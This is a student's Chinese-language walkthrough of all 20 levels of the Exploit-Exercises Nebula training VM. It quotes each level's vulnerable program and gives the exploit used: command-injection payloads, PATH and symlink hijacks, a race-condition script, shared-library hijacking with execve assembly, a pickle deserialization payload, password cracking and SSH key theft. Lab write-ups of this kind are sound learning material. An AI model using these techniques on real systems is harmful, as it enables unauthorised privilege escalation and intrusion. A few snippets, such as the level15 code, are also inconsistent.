免考final linux提权与渗透入门——Exploit-Exercise Nebula学习与实践
免考final linux提权与渗透入门——Exploit-Exercise Nebula学习与实践
0x0 前言
Exploit-Exercise是一系列学习linux下渗透的虚拟环境,官网是https://exploit-exercises.com/,通过它可以学习提权,漏洞利用,逆向等知识
我们这里尝试的是Nebula,是一个涵盖初级、中级挑战任务的练习环境,一个有20个关卡。涉及到的知识点有:
- SUID文件(SUID files)
- 权限(Permission)
- 竞态条件(Race conditions)
- Shell编程(Shell)
- $PATH缺陷($PATH weaknesses)
- 脚本语言缺陷(Scripting language weakness)
- 二进制编译漏洞(Binary compilation failures)
网上有详细的Nebula通关教程,我希望通过这次实验,提升自己linux下渗透的本领,掌握一些linux本地和远程攻击的基本知识。
0x1 通关流程
我参照网上给出的教程,来尝试完成Nebula的20个关卡。有兴趣的同学可以找我拷贝Nebula的镜像。i春秋上也有Nebula的在线环境练习。
每一个关卡level对应一个账号:levelXX/levelXX(用户名和口令是一样的)比如第5关的账号就是 level05/level05。登录之后,进入/home/flagXX的目录下,与该关卡有关的东西都在这里。
官网中的Nebula页面中有每道题的程序源码。
每一关提权成功之后,需要执行/bin/getflag/
,如果提权是成功的,会提示“You have successfully executed getflag on a target account”,否则提示“getflag is executing on a non-flag accont, this doesn't count”
level00——找特权程序
本关卡需要找到一个以“flag00”账号运行的可执行程序。关键是对find命令和uid知识的掌握。
我们先看看flag00的UID是什么,输入cat /etc/passwd | grep flag00
flag00的UID和GID都是999。
接着通过find命令从根目录开始查找,输入find / -uid 999 2> /dev/null
(我们把标准错误输出扔到/dev/null黑洞里去)
无论是/bin/.../flag00,还是/rofs/bin/.../flag00都符合要求,任意执行一个即可。接着运行/bin/getflag成功通关。
level01——环境变量
本题开始,需要我们对源码进行分析了,官网提供的源代码如下:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
int main(int argc, char **argv, char **envp)
{
gid_t gid;
uid_t uid;
gid = getegid();
uid = geteuid();
setresgid(gid, gid, gid);
setresuid(uid, uid, uid);
system("/usr/bin/env echo and now what?");
}
这就是我们flag01程序的源代码。这里的system调用,执行了env程序。
env用来显示环境变量,以及在定义的环境中执行程序。env需要根据环境变量PATH来查找程序的路径。
即便是system中的参数是“硬编码”的,我们也有办法执行任意文件。
我们看到flag01程序的权限就是flag01
,我们的目标就是通过它来执行/bin/getflag
这一系列手段非常有参考意义。/tmp目录对所有用户都有完整的权限。
我们首先在/tmp下建立一个指向/bin/getflag的软链接echo,然后将/tmp目录放到环境变量PATH的最前面。
这样,env程序在查找echo的时候会首先找到/tmp下的“伪装”echo并执行。
通过这样的手法,可以执行其他的可执行程序。
level02——执行任意文件
老样子,从代码中发现漏洞,本关卡的程序源码如下:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
int main(int argc, char **argv, char **envp)
{
char *buffer;
gid_t gid;
uid_t uid;
gid = getegid();
uid = geteuid();
setresgid(gid, gid, gid);
setresuid(uid, uid, uid);
buffer = NULL;
asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
printf("about to call system(\"%s\")\n", buffer);
system(buffer);
}
asprintf是GNU扩展的C函数,它将格式化字符串放到buffer中。getenv函数获取环境变量USER的值。
由于环境变量USER是可以自己设置的,我们把USER设置为;/bin/getflag
这样,执行了echo命令后,就会执行/bing/getflag,达到level02的要求。
level03——计划任务
这个关卡有一个计划任务,每隔2分钟执行/home/flag03目录下的writable.sh。
我们可以看到writeable.sh的内容。
这个脚本会自动执行writable.d里面的所有文件,接着有删除这个脚本。
而计划任务crontab是flag03用户创建的,我们可以在writable.d中创建脚本来完成操作。
我们在writable.d的目录下创建一个run脚本。
/bin/getflag > /tmp/20155110wangyifan
这个脚本执行/bin/getflag,并把结果重定向到/tmp/20155110wangyifan文件中。
等待两分钟,我们在/tmp目录下发现20155110wangyifan这个文件。
也就是说crontable自动执行了/bin/getflag程序
level04——越权获得token
这个关卡需要我们获取token文本文件的内容。目前我们的权限是读取不了的。
除了root权限外,只要flag04用户可以对它进行读写操作。这里有一个flag04程序,我们需要利用这个程序的漏洞,来获得token。
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
int main(int argc, char **argv, char **envp)
{
char buf[1024];
int fd, rc;
if(argc == 1) {
printf("%s [file to read]\n", argv[0]);
exit(EXIT_FAILURE);
}
if(strstr(argv[1], "token") != NULL) {
printf("You may not access '%s'\n", argv[1]);
exit(EXIT_FAILURE);
}
fd = open(argv[1], O_RDONLY);
if(fd == -1) {
err(EXIT_FAILURE, "Unable to open %s", argv[1]);
}
rc = read(fd, buf, sizeof(buf));
if(rc == -1) {
err(EXIT_FAILURE, "Unable to read fd %d", fd);
}
write(1, buf, rc);
}
注意这段代码:
if(strstr(argv[1], "token") != NULL) {
printf("You may not access '%s'\n", argv[1]);
exit(EXIT_FAILURE);
}
fd = open(argv[1], O_RDONLY);
flag04会把命令行参数作为文件名并打开,但是文件名不能包含“token”字符串,否则会退出程序。
还是祭出我们的软链接大法,迷惑flag04程序。
这就是flag04账号的密码,登录flag04账号执行getflag,完成这一关的任务
level05——ssh密钥窃取
在这一关,我们需要找到一个弱权限的目录,然后通过它来提权。
我们需要关注的是.backup和.ssh这两个目录。
.ssh目录我们进不去。只能先在.backup目录里面探索一下。
我们把backup-19072011.tgz解压到/tmp目录下(因为权限不过无法在当前目录解压)
原来是ssh的公钥和私钥!直接把它copy到/home/level05然后ssh登录flag05的账号就能完成此关卡了!
ssh登录后执行getflag,完成这关。
level06——linux登录密码
在本关卡中,flag06账号的认字凭证是存储在/etc/passwd中的(当然现在的linux都把密码放在/etc/shadow中,比/etc/passwd安全一些)
我们先读取flag06的密码散列值
然后我们就要祭出Kali,用john这个口令破解工具弄出flag06账号的密码
so easy!密码就是hello,直接登录flag06的账号,可以通过此关。
level07——Perl脚本漏洞
在这关中,我们的攻击对象是一个perl编写的cgi程序。
训练环境的IP配置为192.168.56.102
#!/usr/bin/perl
use CGI qw{param};
print "Content-type: text/html\n\n";
sub ping {
$host = $_[0];
print("<html><head><title>Ping results</title></head><body><pre>");
@output = `ping -c 3 $host 2>&1`;
foreach $line (@output) { print "$line"; }
print("</pre></body></html>");
}
# check if Host set. if not, display normal page, etc
ping(param("Host"));
配置文件thttpd.conf显示开放的端口号是7007。
这段perl脚本的功能是调用外部的ping命令去ping指定的IP。接收的参数名为"Host"
@output = `ping -c 3 $host 2>&1`;
这段代码调用了外部命令,我们可以来一次 典型的命令注入
首先确认cgi程序的权限,在浏览器中输入
192.168.56.102:7007/index.cgi?Host=127.0.0.1%3Bwhoami
我们看到CGI程序就是以flag07的用户权限运行的。
我们直接运行目标程序getflag即可
192.168.56.102:7007/index.cgi?Host=127.0.0.1%3B/bin/getflag
我们通过 命令注入成功通关。
level08——TCP数据包分析
这个关卡中我们需要分析一个capture.pcap的数据包。
我们把训练环境的文件弄到本地来。然后用wireshark分析一下。
我们使用wireshark的“分析——追踪TCP流功能”
这是一个交互式登录的抓包。我们使用 Hex dump方式看password字段。
我们对照ascii表,7F是del删除,也就是说用户输入backdoor
后,又删除了三个字符,接着输入00Rm8
,又删除了一个字符,最后输入ate
并敲下回车。
所以,最后的password就是backd00Rmate
我们用这个password登陆flag08账号,顺利通关。
level09——攻击php代码
我们在这一关卡需要攻击一个有漏洞的php代码。
<?php
function spam($email)
{
$email = preg_replace("/\./", " dot ", $email);
$email = preg_replace("/@/", " AT ", $email);
return $email;
}
function markup($filename, $use_me)
{
$contents = file_get_contents($filename);
$contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
$contents = preg_replace("/\[/", "<", $contents);
$contents = preg_replace("/\]/", ">", $contents);
return $contents;
}
$output = markup($argv[1], $argv[2]);
print $output;
?>
这段代码中的正则表达式会将[email xxx@xxx.xxx]
中的“.”替换成“dot”,将“@”替换成“AT”,也就是变成xxx AT xxx dot xxx
我们注意到这一句代码:
$contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
preg_replace第一参数使用了/e模式,preg_replace的第二个参数会作为代码执行。
我们将用php中的system函数执行外部的shell命令
将下面的内容写到文件/tmp/wyf中去
[email "{${system(getflag)}}"]
接着执行flag09程序以后,getflag程序也被调用,我们成功通关
level10——竞态条件漏洞
在本关卡的/home/flag10目录下有两个文件:flag10和token。
官网提示,这里是一个文件访问的竞态条件漏洞,去获取token的内容。
我们先看看完整的源代码:
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>
int main(int argc, char **argv)
{
char *file;
char *host;
if(argc < 3) {
printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]);
exit(1);
}
file = argv[1];
host = argv[2];
if(access(argv[1], R_OK) == 0) {
int fd;
int ffd;
int rc;
struct sockaddr_in sin;
char buffer[4096];
printf("Connecting to %s:18211 .. ", host); fflush(stdout);
fd = socket(AF_INET, SOCK_STREAM, 0);
memset(&sin, 0, sizeof(struct sockaddr_in));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr(host);
sin.sin_port = htons(18211);
if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) {
printf("Unable to connect to host %s\n", host);
exit(EXIT_FAILURE);
}
#define HITHERE ".oO Oo.\n"
if(write(fd, HITHERE, strlen(HITHERE)) == -1) {
printf("Unable to write banner to host %s\n", host);
exit(EXIT_FAILURE);
}
#undef HITHERE
printf("Connected!\nSending file .. "); fflush(stdout);
ffd = open(file, O_RDONLY);
if(ffd == -1) {
printf("Damn. Unable to open file\n");
exit(EXIT_FAILURE);
}
rc = read(ffd, buffer, sizeof(buffer));
if(rc == -1) {
printf("Unable to read from file: %s\n", strerror(errno));
exit(EXIT_FAILURE);
}
write(fd, buffer, rc);
printf("wrote file!\n");
} else {
printf("You don't have access to %s\n", file);
}
}
注意access函数,当前用户访问某个文件时,返回值为0,才会有后面这一大段代码。
if(access(argv[1], R_OK) == 0) {
....
} else {
printf("You don't have access to %s\n", file);
}
如果没有访问权限,就会输出"You don't have access to <文件名>"
这段代码会建立一个socket通讯,并在18211端口上进行监听,然后打开指定的文件并把内容发送到通讯连接中。
我们的思路是这样的:
- 在本地用netcat监听端口
- 让flag10去access一个当前用户有权限访问的文件/tmp/fake_token
- 删掉刚才的/tmp/fake_token,再建立一个指向/home/flag10/token的软链接
我们先完成第一步,netcat监听
然后再另一个终端tty2下建立文件/tmp/fake_token
我们再写一个不断建立软链接的bash脚本
执行这个脚本,编写下面的脚本。
接着运行脚本,我们在看看nc收到的结果:
这就是flag10的登录密码,登录flag10账号后,执行getflag即可。
level11——任意文件可执行漏洞
在这一关卡,我们需要攻击一个flag11的可执行程序。它的源代码如下:
官网说此关卡有两种方法可以通过
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/mman.h>
/*
* Return a random, non predictable file, and return the file descriptor for it.
*/
int getrand(char **path)
{
char *tmp;
int pid;
int fd;
srandom(time(NULL));
tmp = getenv("TEMP");
pid = getpid();
asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid,
'A' + (random() % 26), '0' + (random() % 10),
'a' + (random() % 26), 'A' + (random() % 26),
'0' + (random() % 10), 'a' + (random() % 26));
fd = open(*path, O_CREAT|O_RDWR, 0600);
unlink(*path);
return fd;
}
void process(char *buffer, int length)
{
unsigned int key;
int i;
key = length & 0xff;
for(i = 0; i < length; i++) {
buffer[i] ^= key;
key -= buffer[i];
}
system(buffer);
}
#define CL "Content-Length: "
int main(int argc, char **argv)
{
char line[256];
char buf[1024];
char *mem;
int length;
int fd;
char *path;
if(fgets(line, sizeof(line), stdin) == NULL) {
errx(1, "reading from stdin");
}
if(strncmp(line, CL, strlen(CL)) != 0) {
errx(1, "invalid header");
}
length = atoi(line + strlen(CL));
if(length < sizeof(buf)) {
if(fread(buf, length, 1, stdin) != length) {
err(1, "fread length");
}
process(buf, length);
} else {
int blue = length;
int pink;
fd = getrand(&path);
while(blue > 0) {
printf("blue = %d, length = %d, ", blue, length);
pink = fread(buf, 1, sizeof(buf), stdin);
printf("pink = %d\n", pink);
if(pink <= 0) {
err(1, "fread fail(blue = %d, length = %d)", blue, length);
}
write(fd, buf, pink);
blue -= pink;
}
mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);
if(mem == MAP_FAILED) {
err(1, "mmap");
}
process(mem, length);
}
}
这段代码比较长,我们直接定位有问题的代码段
void process(char *buffer, int length)
{
unsigned int key;
int i;
key = length & 0xff;
for(i = 0; i < length; i++) {
buffer[i] ^= key;
key -= buffer[i];
}
system(buffer);
}
这里的buffer作为system的参数,是可控制的,但是这里的buffer的内容有点复杂,它在之前经过了“异或”加密。
非常简单,我们对要执行的命令在进行一次异或,就可以还原了。
我们的攻击代码如下:
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{
int length = 1024;
// 要执行的命令
char *cmd = "getflag";
char buf[1024];
int key = length & 0xff;
int i = 0;
// 把“ getflag” 字符串拷贝到 buf 里,其余空间空字节填充
strncpy(buf,cmd,1024);
for(; i<length; i++)
{
buf[i] ^= key;
// 一定要 buf[i]^key 才可得到正确的 key ,上面那句代码才可正确执行
key = key - (buf[i] ^ key);
}
// 输出至标准输出
puts("Content-Length: 1024");
fwrite(buf,1,length,stdout);
return 0;
}
注意代码里面还设置了环境变量TEMP
tmp = getenv("TEMP");
接着在系统中输入如下命令
$ export TEMP=/tmp
$ gcc -o /tmp/attack /tmp/attack.c
$ cd /home/flag11
$ /tmp/attack | ./flag11
blue = 1024, length = 1024, pink = 1024
You have successfully executed getflag on a target account
我们成功通关此关卡。
level12——攻击Lua脚本
本关卡给出了一个lua写的socket程序,虽然我不会lua语言,但是通过猜测还是能看懂个大概的。
题目描述是一个监听在50001端口的backdoor。
local socket = require("socket")
local server = assert(socket.bind("127.0.0.1", 50001))
function hash(password)
prog = io.popen("echo "..password.." | sha1sum", "r")
data = prog:read("*all")
prog:close()
data = string.sub(data, 1, 40)
return data
end
while 1 do
local client = server:accept()
client:send("Password: ")
client:settimeout(60)
local line, err = client:receive()
if not err then
print("trying " .. line) -- log from where ;\
local h = hash(line)
if h ~= "4754a4f4bd5787accd33de887b9250a0691dd198" then
client:send("Better luck next time\n");
else
client:send("Congrats, your token is 413**CARRIER LOST**\n")
end
end
client:close()
end
注意到这条语句
prog = io.popen("echo "..password.."| sha1sum", "r")
这个地方存在明显的 命令注入
先telnet 127.0.0.1 50001
,构造payload
;/bin/getflag > /tmp/wyf5110
我们成功执行了getflag程序,通过本关。
level13——简单的调试
我们在这一关需要破解下面的程序。
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <string.h>
#define FAKEUID 1000
int main(int argc, char **argv, char **envp)
{
int c;
char token[256];
if(getuid() != FAKEUID) {
printf("Security failure detected. UID %d started us, we expect %d\n", getuid(), FAKEUID);
printf("The system administrators will be notified of this violation\n");
exit(EXIT_FAILURE);
}
// snip, sorry :)
printf("your token is %s\n", token);
}
也就是说如果UID不是1000的话,我们得不到token的值。
现在,我们直接使用gdb调试这个程序(当然你也可以直接用IDA静态反汇编)
找到getuid函数的位置以后,在下一条指令的地方设置断点。然后运行。
函数的返回值在%eax寄存器中,我们发现这个uid的值是1014。
我们直接设置%eax寄存器的值为1000即可。
我们看到了token的值为b705702b-76a8-42b0-8844-3adabbe5ac58
用它登录flag13账号,执行getflag程序通过此关。
level14——破解加密程序
在这关,token文件是被flag14程序加密过的,我们需要解密token。
我们看看这个程序是怎么加密的。
显然,这个加密算法非常简单,第0位的字符加0,第1位的字符加1,...,第i位的字符加i,以此类推。
我们直接编写解密程序即可。
//dec.c
#include <stdio.h>
#include <string.h>
int main()
{
char buf[1000];
scanf("%s", buf);
int i;
for (i = 0; i < strlen(buf); i++) {
buf[i] -= i;
}
puts(buf);
return 0;
}
我们成功得到flag,然后用它登录flag14账号执行getflag即可。
level15——linx下共享库劫持
官网直接给出提示,用strace工具追踪so使用情况。
提示没有找到libc.so.6,既然没有,我们就自己写一个让它找到。
建立目录/var/tmp/flag15,并编写如下的代码
#include <stdio.h>
void __attribute__((constructor)) init()
{
system("/bin/getflag");
}
提示symbol __cxa_finalize,我再定义一个__cxa_finalize函数。
#include <stdio.h>
void __cxa_finalize(void)
{
return;
}
void __attribute__((constructor)) init()
{
system();
}
我们还要用汇编语言自己实现一个system函数。
.section .text
.globl system
system:
mov $getflag, %ebx
xor %edx, %edx # 异或清空 edx ,作为空参数
push %edx
push %ebx
mov %esp, %ecx
mov $11, %eax # 调用 execve 中断
int $0x80
.section .data
getflag: .ascii "/bin/getflag\0"
最后,我们成功劫持了共享库的调用。
这一关的技术含量非常高,我们目前还没有完全理解。
level16——再次攻击perl语言CGI程序
在这一关中,我们继续攻击一个perl语言的CGI程序
#!/usr/bin/env perl
use CGI qw{param};
print "Content-type: text/html\n\n";
sub login {
$username = $_[0];
$password = $_[1];
$username =~ tr/a-z/A-Z/; # conver to uppercase
$username =~ s/\s.*//; # strip everything after a space
@output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`;
foreach $line (@output) {
($usr, $pw) = split(/:/, $line);
if($pw =~ $password) {
return 1;
}
}
return 0;
}
sub htmlz {
print("<html><head><title>Login resuls</title></head><body>");
if($_[0] == 1) {
print("Your login was accepted<br/>");
} else {
print("Your login failed<br/>");
}
print("Would you like a cookie?<br/><br/></body></html>\n");
}
htmlz(login(param("username"), param("password")));
这段代码的问题就在于它有调用了外部shell命令。
@output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`;
但是,这里对用户名做了限制,不仅将其转换为大写,而且去掉第一个空格之后的所有内容。
我们先建立这样一个脚本/tmp/wyf
构造payload为
"</DEV/NULL;CMD=/TMP/WYF;${CMD,,};#
为了方便,我们直接写一个表单提交数据。
我们这是可以看到,getflag程序已经执行了。
这又是一个绕过正则表达式的 命令注入
level17——python的pickle格式漏洞
我们要分析一个在10007端口监听的python脚本。
#!/usr/bin/python
import os
import pickle
import time
import socket
import signal
signal.signal(signal.SIGCHLD, signal.SIG_IGN)
def server(skt):
line = skt.recv(1024)
obj = pickle.loads(line)
for i in obj:
clnt.send("why did you send me " + i + "?\n")
skt = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
skt.bind(('0.0.0.0', 10007))
skt.listen(10)
while True:
clnt, addr = skt.accept()
if(os.fork() == 0):
clnt.send("Accepted connection from %s:%d" % (addr[0], addr[1]))
server(clnt)
exit(1)
由于我对python不熟悉,这一关的原理也没弄明白。
这应该是一个反序列化的漏洞,先按照教程完成这一关卡吧。
构造下面的payload
cos
system
(S'getflag>/tmp/result'
tR.
level18——资源未释放漏洞
这关非常特殊,有三种解决方法,最简单的是耗尽系统资源。
当然也有格式化字符串漏洞,栈溢出漏洞。
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <fcntl.h>
#include <getopt.h>
struct {
FILE *debugfile;
int verbose;
int loggedin;
} globals;
#define dprintf(...) if(globals.debugfile) \
fprintf(globals.debugfile, __VA_ARGS__)
#define dvprintf(num, ...) if(globals.debugfile && globals.verbose >= num) \
fprintf(globals.debugfile, __VA_ARGS__)
#define PWFILE "/home/flag18/password"
void login(char *pw)
{
FILE *fp;
fp = fopen(PWFILE, "r");
if(fp) {
char file[64];
if(fgets(file, sizeof(file) - 1, fp) == NULL) {
dprintf("Unable to read password file %s\n", PWFILE);
return;
}
fclose(fp);
if(strcmp(pw, file) != 0) return;
}
dprintf("logged in successfully (with%s password file)\n",
fp == NULL ? "out" : "");
globals.loggedin = 1;
}
void notsupported(char *what)
{
char *buffer = NULL;
asprintf(&buffer, "--> [%s] is unsupported at this current time.\n", what);
dprintf(what);
free(buffer);
}
void setuser(char *user)
{
char msg[128];
sprintf(msg, "unable to set user to '%s' -- not supported.\n", user);
printf("%s\n", msg);
}
int main(int argc, char **argv, char **envp)
{
char c;
while((c = getopt(argc, argv, "d:v")) != -1) {
switch(c) {
case 'd':
globals.debugfile = fopen(optarg, "w+");
if(globals.debugfile == NULL) err(1, "Unable to open %s", optarg);
setvbuf(globals.debugfile, NULL, _IONBF, 0);
break;
case 'v':
globals.verbose++;
break;
}
}
dprintf("Starting up. Verbose level = %d\n", globals.verbose);
setresgid(getegid(), getegid(), getegid());
setresuid(geteuid(), geteuid(), geteuid());
while(1) {
char line[256];
char *p, *q;
q = fgets(line, sizeof(line)-1, stdin);
if(q == NULL) break;
p = strchr(line, '\n'); if(p) *p = 0;
p = strchr(line, '\r'); if(p) *p = 0;
dvprintf(2, "got [%s] as input\n", line);
if(strncmp(line, "login", 5) == 0) {
dvprintf(3, "attempting to login\n");
login(line + 6);
} else if(strncmp(line, "logout", 6) == 0) {
globals.loggedin = 0;
} else if(strncmp(line, "shell", 5) == 0) {
dvprintf(3, "attempting to start shell\n");
if(globals.loggedin) {
execve("/bin/sh", argv, envp);
err(1, "unable to execve");
}
dprintf("Permission denied\n");
} else if(strncmp(line, "logout", 4) == 0) {
globals.loggedin = 0;
} else if(strncmp(line, "closelog", 8) == 0) {
if(globals.debugfile) fclose(globals.debugfile);
globals.debugfile = NULL;
} else if(strncmp(line, "site exec", 9) == 0) {
notsupported(line + 10);
} else if(strncmp(line, "setuser", 7) == 0) {
setuser(line + 8);
}
}
return 0;
}
linux默认只能打开1024个文件描述符,但是stdin,stdout,stderr已经各占用了一个。最终供程序使用的只有1021个。
我们需要做的就是耗尽程序的资源,先输入
for i in {0..1020}; do echo 'login wyf5110' >> /tmp/login; done;
将1021个login wyf5110
放到/tmp/login中。
再执行
cat /tmp/login | /home/flag18/flag18 -d /tmp/debug
查看/tmp/debug的内容
根据输出内容,我们知道登录成功了。应该可以执行shell命令。
我们追加一个shell,然后再执行flag18程序。
看到这个结果,是因为文件描述符用尽了。
我们看源码中的这一部分
} else if(strncmp(line, "closelog", 8) == 0) {
if(globals.debugfile) fclose(globals.debugfile);
globals.debugfile = NULL;
}
也就是说添加closelog可以释放一个文件描述符。我们再次修改/tmp/login
然后执行
cat login | /home/flag18/flag18 --init-file -d debug
但是出现了下面的问题。
我们可以这么操作
既然找不到Starting命令,我们就攻击环境变量,将Starting指向恶意脚本
再次运行程序,查看/tmp/output文件,我们可以知道/bin/getflag已经被执行了
level19——突破进程
终于来到最后一关了,这一关要求我们攻破下面的程序。
程序的源代码如下:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <sys/stat.h>
int main(int argc, char **argv, char **envp)
{
pid_t pid;
char buf[256];
struct stat statbuf;
/* Get the parent's /proc entry, so we can verify its user id */
snprintf(buf, sizeof(buf)-1, "/proc/%d", getppid());
/* stat() it */
if(stat(buf, &statbuf) == -1) {
printf("Unable to check parent process\n");
exit(EXIT_FAILURE);
}
/* check the owner id */
if(statbuf.st_uid == 0) {
/* If root started us, it is ok to start the shell */
execve("/bin/sh", argv, envp);
err(1, "Unable to execve");
}
printf("You are unauthorized to run this program\n");
}
这段程序的逻辑是这样的:
- 先通过getppid()函数得到父进程pid号
- 根据pid号找到/proc下当前pid号的目录
- 如果属于root,就执行shell
我们需要利用“孤儿进程”的特点来突破这段程序
孤儿进程的父进程init的uid绝对是0
编写攻击代码如下
//attack.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
int main(void)
{
pid_t pid;
pid = fork();
char *argvs[] = {"/bin/sh","-c","getflag>/tmp/flag19_output",NULL};
if(pid == 0)
{
execve("/home/flag19/flag19",argvs,NULL);
} else if(pid > 0) {
exit(0);
}
return 0;
}
这段攻击代码,利用fork出来的子进程执行getflag
程序,并将结果重定向到/tmp/flag19_output文件中。
至此,我们成功通关nebula的全部20个关卡!
心得与体会
实话实说,exploit-exercise nebula的这20个练习让我感受到了自己 离技术的门槛还很遥远
其中的一系列linux提权和任意文件执行的技巧令我印象深刻——软链接大法,python反序列化漏洞,CGI程序的命令注入,共享库劫持,gdb调试……
很多练习以我的能力是不可能做出来的,在参考了网上的教程以后,我能够 大体感受到其中的 美妙之处
之前的实验,我们只是浅尝辄止地使用一些工具而已,我们对工具的应用也是浮于表面的,尽管能熟练使用工具并玩到极致的话,也可以弄出花样来。
这次的final让我彻底明白,只有对计算机足够精通,才能真正主宰一切,而这条道路对我们来说非常漫长。
不过,能够在本学期的课程中对计算机安全技术初窥门径,我已经很满足了。
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